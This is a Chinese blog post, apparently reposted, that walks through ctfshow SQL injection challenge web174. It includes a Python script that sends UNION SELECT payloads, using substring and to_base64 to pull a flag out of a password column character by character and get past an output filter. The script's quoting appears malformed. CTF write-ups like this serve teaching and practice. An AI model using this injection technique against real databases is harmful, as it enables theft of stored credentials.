栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Python

ctfshow SQL注入专题

Python 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

ctfshow SQL注入专题

emmm又是好久没更新了...之后就在这里做个记录吧,有些新的思路可以做些分享

web174

看了一下,应该是有数字或者username=flag就不输出,主要是这个数字的限制有点烦,flag里面肯定是有数字的...

网上的wp很多用的布尔盲注,不过我当时还是想直接注出来,还是有办法的。

参考前面几道题,可以使用to_base64函数,对于一个字符而言,不管是数字还是字母,base64都是没有数字的。

所以,考虑一个一个注出来,利用substring函数依次截取单个字符,然后base64编码输出,再解码即可,python脚本如下:

import requests
import base64
url='http://fc485c2d-58c4-458f-ab35-8339b32a70a5.challenge.ctf.show/api/v4.php'
result=''
for i in range(1,100):
    param= {'id':'100' union select 'k',to_base64(substring(password,'+str(i)+',1)) from ctfshow_user4 where username = 'flag'-- '}
    r=requests.get(url=url,params=param)
    result+=str(base64.b64decode(r.json()['data'][0]['password']),encoding = "utf-8")
print(result)

注意,返回的是json数据,这里需要做处理才能抓到password字段,可以自行实践一下找到写法。

脚本输出flag

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/460954.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号